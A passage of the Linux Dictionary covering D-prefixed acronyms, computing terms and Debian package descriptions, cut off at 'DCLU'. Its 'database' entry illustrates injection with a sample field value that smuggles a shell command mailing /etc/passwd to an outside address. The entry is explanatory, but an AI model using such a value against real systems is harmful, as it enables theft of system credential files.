D

D3D

Direct3D (DirectX, MS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

D3DRM

Direct3D Retained Mode (DirectX, MS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

d4x

Graphical tool for downloading files from Internet Downloader for X is a tool for downloading files from the Internet via both HTTP and FTP with a powerful but userfriendly interface. It supports reconnecting and resuming on connection timeouts, has a download queue for multiple files, support for simultaneous downloads, and many other features for powerful downloading. It is written in C++, the GUI uses GTK+. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA

Destination [MAC] Address (SNA, Token Ring, ATM, FDDI, ...) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA

Digital-to-Analog (D/A), "D/A" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA11

DatenAustauschphase 11 [allgemeine bauabrechnung] (GAEB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA81

DatenAustauschphase 81 [leistungsverzeichnis] (GAEB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA82

DatenAustauschphase 82 [kostenanschlag] (GAEB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA83

DatenAustauschphase 83 [angebotsanforderung] (GAEB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA84

DatenAustauschphase 84 [angebotsabgabe] (GAEB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA85

DatenAustauschphase 85 [nebenangebot] (GAEB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DA86

DatenAustauschphase 86 [zuschlag/auftragserteilung] (GAEB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAA

Device Access Architecture (Vireo) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAA

Digest Access Authentication (HTTP) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAB

Digital Audio Broadcasting From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAC

Digital to Analog Converter From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAC

Discretionary Access Control From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAC

Dual Address Cycle (PCI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAC

Dual Attached Concentrator (FDDI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DACAPO

??? [hardware description language] (HDL) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DACNOS

Distributed Academic Computing Network Operating System (OS, HECTOR) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DACS

Digital Access Control System (ISDN, DES, cryptography) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DACT

DAta Compression Technology From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dact

Multi-algorithm compression DACT compresses each block within the file with all its known algorithms and uses the block with the best compression ratio. DACT can encrypt the compressed data with one of two algorithms. Compression time for DACT is slow as each block is compressed multiple times, Current supported compression algorithms include RLE, Delta, Text, Zlib, Modified Zlib, Bzip2 and Seminibble Encoding. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAD

Desktop Application Director (WordPerfect) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dadadodo

Exterminates all rational thought DadaDodo is a program that analyses texts for Markov chains of word probabilities and then generates random sentences based on that. Sometimes these sentences are nonsense; but sometimes they cut right through to the heart of the matter and reveal hidden meanings. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAE

Digital Audio Extraction (CD, audio) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

daemon

/day'mn/ or /dee'mn/ n. [from the mythological meaning, later rationalized as the acronym `Disk And Execution MONitor'] A program that is not invoked explicitly, but lies dormant waiting for some condition(s) to occur. The idea is that the perpetrator of the condition need not be aware that a daemon is lurking (though often a program will commit an action only because it knows that it will implicitly invoke a daemon). For example, under ITS writing a file on the LPT spooler's directory would invoke the spooling daemon, which would then print the file. The advantage is that programs wanting (in this example) files printed need neither compete for access to nor understand any idiosyncrasies of the LPT. They simply enter their implicit requests and let the daemon decide what to do with them. Daemons are usually spawned automatically by the system, and may either live forever or be regenerated at intervals. Daemon and demon are often used interchangeably, but seem to have distinct connotations. The term `daemon' was introduced to computing by CTSS people (who pronounced it /dee'mon/) and used it to refer to what ITS called a dragon; the prototype was a program called DAEMON that automatically made tape backups of the file system. Although the meaning and the pronunciation have drifted, we think this glossary reflects current (2000) usage. From Jargon Dictionary http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Daemon

A background process of the operating system that usually has root security level permission. A daemon usually lurks in the background until something triggers it into activity, such as a specific time or date, time interval, receipt of e-mail, etc. From I-gloss http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

daemon

A process lurking in the background, usually unnoticed, until something triggers it into action. For example, the \cmd{update} daemon wakes up every thirty seconds or so to flush the buffer cache, and the \cmd{sendmail} daemon awakes whenever someone sends mail. http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

daemon

A program that runs continuously in the background, until activated by a particular event. A daemon can constantly query for requests or await direct action from a user or other process. From Redhat-9-Glossary http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

daemon

a program which runs for an extended period (usually "forever") to handle requests for service as needed. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Daemon

A program, usually on a computer running UNIX, that serves some obscure function (such as routing electronic mail to its recipients) and usually has a very limited user interface. There's some debate about the origins of the word, but most say it derives from the devilish spirits of Greek mythology. From QUECID http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAEMON

Disk And Execution MONitor (Unix) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

daemon (service)

On UNIX, a daemon is a program running in the background, usually providing some sort of service. Typical daemons are those that provide e-mail, printing, telnet, FTP, and web access. From Hacking-Lexicon http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAF

Distributed Application Framework (CCITT) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAG

DatenAnschaltGeraet From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAI

??? (Sun) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAI

Device Application Interface (Novell, Netware, SMS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAI

Distributed Artificial Intelligence (AI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dailystrips

view web comic strips more conveniently A perl script that gathers online comic strips for more convenient viewing. When in normal mode, it creates an HTML page that references the strips directly, and when in local mode, it also downloads the images to your local disk. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAINET

Deutsches AgrarInformationsNETz (WWW, org.) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAIS

Distributed Application Integration System (ORB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAL

Data Access Language (Apple) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DALI

Distributed Artificial LIfe (AI), "DALi" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAM

Direct Access Method / Mode (DAM, SAM) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAM

Distributed Abstract Machine From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAM

Draft AMendment (ISO) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Damn Small Linux

Damn Small Linux is a business card size (50MB) Linux distribution. Despite it's miniscule size it strives to have a functional and easy to use desktop. The initial freshmeat announcement for version 0.1 was released March 19, 2003. Version 0.3.10 was released June 4, 2003. A CD-based distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAMQAM

Dynamically Adaptive Multicarrier Quadrature Amplitude Modulation From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DANA

De.Admin.News.Announce (Usenet), "D.A.N.A." From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dancer-ircd

An IRC server designed for centrally maintained networks This is the ircd designed for use on OpenProjects Net (www.openprojects.net), based on the hybrid ircd used by efnet. It attempts to handle the network transparently as a unit, and to provide features to support the OPN philosophy. This package contains the main binary files. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dancer-services

IRC services implementation for dancer-ircd This is the counterpart to dancer-ircd, a services implementation (nickserv, chanserv, etc) that works with the dancer protocol. It can connect to a remote server, but it is highly recommended that you run a local ircd instead and connect it to that. Note that dancer-services will not work properly with any ircd other than dancer-ircd. Dancer-services is essentially the same as hybserv, only patched to work with dancer-ircd. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DANTE

Delivery of Advanced Network Technology to Europe (org., Europe) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DANTE

Deutschsprachige ANwendervereinigung TEx [e.v.] (TeX, user group) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dante-client

Provides a SOCKS wrapper for users behind a firewall. Dante provides "socksify" - a program which forwards network requests from any program to the SOCKS server (v4 or v5) which then performs them on your behalf. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dante-server

SOCKS server. dante-server provides "danted" - a SOCKS (v4 and v5) server From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAO

Data Access Objects (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAO

Destination Address Omitted [flag] (CATNIP) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAO

Disk At Once (CD-R) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAP

Data Access Protocol (DEC, DNA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAP

Developers Assistance Program (IBM) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAP

Directory Access Protocol (X.500, DS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAP

Directory Application Protocol (IN) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAP

Document Application Profile (JTC1, ODIF, ODA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAPE

Distributed Application Programming Environment (ORB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAPHNE

Document Application Processing in a Heterogeneous Network Environment From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAPIE

Developer API Extensions (IBM, OS/2, API) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DARI

Database Application Remote Interface (IBM, DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Darkstar Linux

A source-based multi-platform Linux distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DARMP

Defense Automation Resources Management Program (mil., USA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DARPA

Defense Advanced Research Projects Agency (org., USA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DARPA

Was formally called ARPA. Defence Advanced Reseach Project Agency. http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DART

Dynamic Advertising Reporting & Targeting [technology] (WWW, Doubleclick) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAS

Directory Assistance Service [protocol] (RFC 1202) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAS

Disk Array Subsystem (Unix, HP-UX) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAS

Dual Attached Station (FDDI) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAS

Dual Attachment Station (FDDI, Schneider & Koch) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAS

Dynamic Allocation Scheme [protocol] From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DASD

Direct Access Storage Device From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DASI

Dial Access Signaling Interface From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DASP

Drive Active, Slave Present (IDE) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DASS

Distributed Authentication Security Service (RFC 1507) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAT

Digital Audio Tape (Digital audio) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Data striping

An important method employed by redundant arrays of inexpensive disks (RAID) in which a single unit of data is distributed acroess several hard disks, increasing ressitance to a failure in one of the drives. From QUECID http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

database

A collection of persistently accessed data that is typically stored for fast and/or arbitrary access. Data stored within a database can be queried, viewed, and manipulated by user applications or Web services such as forms and applets. From Redhat-9-Glossary http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

Database

A computer holding large amounts of information that can be searched by an Internet user. A storehouse of information on the Net. From Glossary of Distance Education and Internet Terminology http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

database

An indexed collection of information which can be accessed, modified and queried using a query language such as SQL. Popular databases applications for Linux include the commercial Oracle product and Informix-SE. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

database

The database is one of the underpinning applications of the Internet. The concept of database "records" predates that of "files" within a computer. These days, most discussion of databases revolves around SQL (structured query language). An SQL statement is a special language that you may use to encode a statement such as show me everyone who has a first name of "Robert". The actual SQL statement would look like: "SELECT * from Everyone where firstname equals 'Robert'". Key point: The near-programming quality of SQL means that it is open to much the same security holes that plague other scripting languages. For example, a frequent attacks against databases is to insert shell metacharacters into data fields. For example, consider a reporting system using PERL that extracts data out of a database. I may create a bank acount where name is "| mail smc@robertgraham.com < /etc/passwd", which will send me the password field when you run your month-end reports. In late 1999 and early year 2000, thousands of Microsoft's web servers were broken into because programs submitted command-line statements through SQL query statements through a default script left open on default installations of their servers. From Hacking-Lexicon http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

datagram

A packet which includes both the source and destination addresses provided by the user, and not the network. Datagrams can also include data. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

datagram

In protocols, a datagram is a single transmission that stands by itself. They are often known as unreliable datagrams because there is not guarantee that they will reach their destination. It is up to some higher protocol or application to verify that a datagram reaches its destination. Streaming media (audio/video/voice) often use datagrams because it doesn't really matter if a few are lost in transmission. From Hacking-Lexicon http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

date

print or set the system date and time From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DATEV

DATEnVerarbeitungszentrale der steuerberatenden Berufe (org., Nuernberg, Germany) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DATEX

DATa EXchange From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DATEXJ

DATa EXchange - Jedermann ??? (Telekom), "DATEX-J" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DATEXL

DATa EXchange - Leitungsvermittlung From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DATEXM

DATa EXchange - Multimegabit (Telekom, SMDS), "DATEX-M" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DATEXP

DATa EXchange - Packetized / Packetvermittlung (Telekom, X.25), "DATEX-P" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAV

Digital Audio Video (Apple, Digital audio) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAV

[WWW] Distributed Authoring diVersioning (WWW) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAVIC

Digital Audio Visual Interoperatibility Council (org., Digital audio) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAVID

Digital Audio Video Interactive Decoder (Digital audio) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAVIS

DAimler-Benz Vertragspartner-InformationsSystem (MBAG) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAWN

Defense Attache Worldwide Network (network, mil.) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DAX

Developer API eXtension (OS/2, IBM, API) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DB

DataBase From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db1

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. It should be installed if compatibility is needed with databases created with db1. This library used to be part of the glibc package. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DB2

DataBase 2 (IBM, DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db2

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. This library used to be part of the glibc package. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DB2CS

DataBase 2 Client/Server (IBM, DB2, DB), "DB2 C/S" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db2dvi

(Jade Wrapper) converts SGML files to DVI From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db2html

(Jade Wrapper) converts SGML files to HTML From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db2pdf

(Jade Wrapper) converts SGML files to PDF From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db2ps

(Jade Wrapper) converts SGML files to PS From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db2rtf

(Jade Wrapper) converts SGML files to RTF From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DB2SDK

DataBase 2 Software Development Toolkit (DB2, IBM, DB), "DB2 SDK" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db4

The Berkeley Database (Berkeley DB) is a programmatic toolkit thatprovides embedded database support for both traditional and client/server applications. The Berkeley DB includes B+tree, ExtendedLinear Hashing, Fixed and Variable-length record access methods, transactions, locking, logging, shared memory caching, and database recovery. The Berkeley DB supports C, C++, Java, and Perl APIs. It is used by many applications, including Python and Perl, so this should be installed on all systems. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBA

DataBase Administrator (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBA

Drei Buchstaben Akronym From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBAC

DataBase Administration Center (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBAS

DataBase Administration System (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dbbalancer

Database connection pooling, load balancing and write-replication DBBalancer provides facilities to transparently implement: - pooling of connections - load balancing across multiple backends - write replication to multiple backends DBBalancer is a middleware daemon that sits in between database clients, like C, C++, TCL, Java JDBC, Perl DBI, etc programs and a database server. Currently the only server supported is PostgreSQL, but the architecture is open to embrace more servers in future. Also see http://dbbalancer.sourceforge.net/ for more information. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBC

Device Bay Controller From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBCS

Double-Byte Character Set From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBD

DataBase Description (IBM, DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBDMA

??? Direct Memory Access (Apple) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBEF

Dual Brightness Enhancement Foile (LCD) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dbench

The dbench (disk) and tbench (TCP) benchmarks dbench and tbench simulate the load of the netbench "industry standard" benchmark used to rate (windows) file servers. Unlike netbench, they do not require a lab of Microsoft Windows PCs: dbench produces the filesystem load on a netbench run, and tbench produces the network load, allowing simpler bottleneck isolation. Note that this benchmark is *not* a realistic reflection of normal server load. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dbf2mysql

xBase <--> MySQL This program takes an xBase file and sends queries to an MySQL server to insert it into an MySQL table and vice versa. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dbf2pg

Converting xBase files to PostgreSQL This program takes an xBase-file and sends queries to an PostgreSQL-server to insert it into a table. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBI

DataBase Interface (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dbishell

Interactive SQL shell with readline support Database shell with readline support [command history, tab completion etc] based on the Perl DBI: Has specific support for Oracle, MySQL, Sybase, PostgreSQL, and a generic driver that should work for anything supported by DBI. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBL

DataBase Language (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBLO

Dual Beam Landing Optimizer From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBLT

Dynamic Back Link Technology (WWW) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBM

DataBase Management, a library of functions which maintain key-content pairs in a data base. From NIS HOWTO http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBM

DataBase Manager (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBME

DataBase Management Environment (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBMS

DataBase Management System (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBOS

Disk/Drum Based Operating System (OS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBP

DataBase Publishing (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBP

Delay Bandwidth Product From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBRAD

Data Base Relational Application Directory (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBRM

Data Base Request Module (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBS

Deutscher Bildungs-Server (DFN, WWW) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBS

Duplex Bus Selector From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dbs

Files used for the development of DBS source packages DBS stands for Debian Build System and is an alternative approach for source packages which want to ship a pristine source and then apply patches to it. This allows the distribution of multiple patches inside one package that are applied during the build process. Please see http://snoopy.apana.org.au/~bam/debian/faq/#dbs for further information on DBS. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBSC

Dynamic Beam Spot Control (Eizo) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dbskkd-cdb

The fastest dictionary server for SKK dbskkd-cdb is an alternate version of skkserv using cdb. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBTG

Data Base Task Group (CODASYL, DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dbview

View dBase III files Dbview is a little tool that will display dBase III and IV files. You can also use it to convert your old .dbf files for further use with Unix. It wasn't the intention to write a freaking viewer and reinvent the wheel again. Instead dbview is intend to be used in conjunction with your favourite unix text utilities like cut, recode and more. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DBVS

DatenBankVerwaltungsSystem (DB) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_archive

the DB database archiver From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_checkpoint

the DB database checkpoint utility From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_deadlock

the DB database deadlock detector From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_dump

the DB database dump utility From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_dump185

the DB database dump utility From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_load

the DB database loader From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_printlog

Debugging utility to dump Berkeley DB log files. From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_recover

the DB database recovery utility From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

db_stat

display DB statistics From whatis http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DC

Data Cartridge From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DC

Device Context From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DC

Dublin Core [meta data] From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dc

The GNU dc arbitrary precision reverse-polish calculator GNU dc is a reverse-polish desk calculator which supports unlimited precision arithmetic. It also allows you to define and call macros. A reverse-polish calculator stores numbers on a stack. Entering a number pushes it on the stack. Arithmetic operations pop arguments off the stack and push the results. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCA

Data Center Automation From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCA

Defense Communications Agency (org., USA, mil., predecessor, DISA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCA

Digital Communication Associates From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCA

Digital Controlled Amplifier (VCA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCA

Distributed Communication Architecture (Sperry Univac) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCA

Document Center Architecture From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCA

Document Content Architecture (IBM, CCS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCA2

Dynamic Cache Architecture [level] 2 From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCAF

Distributed Console Access Facility From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCAP

Data link switching Client Access Protocol (DLSW, RFC 2114) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCB

Data Control Block From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCB

Disk Coprocessor Board (Novell, SCSI, HBA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCC

Data Communications Computer From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCC

Data Country Code (ATM) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCC

Direct Client to Client (IRC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCC

Display Combination Code From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCC

DOS Command Center From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCCA

Dependable Computing for Critical Applications (conference) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCCA

Distributed Component Computing Architecture (Star, C/S) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCCH

Dedicated Control CHannel (GSM, mobile-systems) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCCS

DisContiguous Shared Segments From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dcd

Command-line CD player dcd (Dave's CD player) is a small CD player, for people who think workbone is too bloated and graphical. All functions are accessible from the command line. Loop tracks in the background, use it with 'at' as an alarm clock, whatever. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCD

Data Carrier Detect (MODEM, RS-232) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCDB

DOMAIN Control DataBase (DOMAIN) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCE

Data Circuit terminating Equipment (X.25, CCITT, IBM, HP, DEC, Tandem, Sun) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCE

Data Communications Equipment From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCE

Distributed Computing Environment (OSF) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCERPC

Distributed Computing Environment / Remote Procedure Call (DCE, RPC), "DCE/RPC" , "DCE RPC" From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dcgui

Direct Connect Graphical client (GTK+) (peer-based file-sharing) dc_gui is a gtk front-end for the dctc program. dctc handles all communication with dc hubs and clients, while dcgui presents an interface that has many of the features of the original directconnect client, plus some really useful improvements. It is intended for peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". dcgui is still alpha, so some care has to be taken - try it out! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCI

Data Capture Interface (UMA) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCI

Device Control Interface From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCI

Display Control Interface (MS, Windows, Intel) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCL

Data Control Language From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCL

DEC Control Language (DEC) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCL

Digital Command [scripting] Language (DEC, VMS) From VERA http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

dclock

Digital clock for the X Window System with flexible display. Dclock main feature is its great flexibility in how it can draw. You can even display the output from "date" in it such as "Wednesday, 3rd Jan". Dclock also supports setting an alarm. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux-Dictionary/html/index.html

DCLU

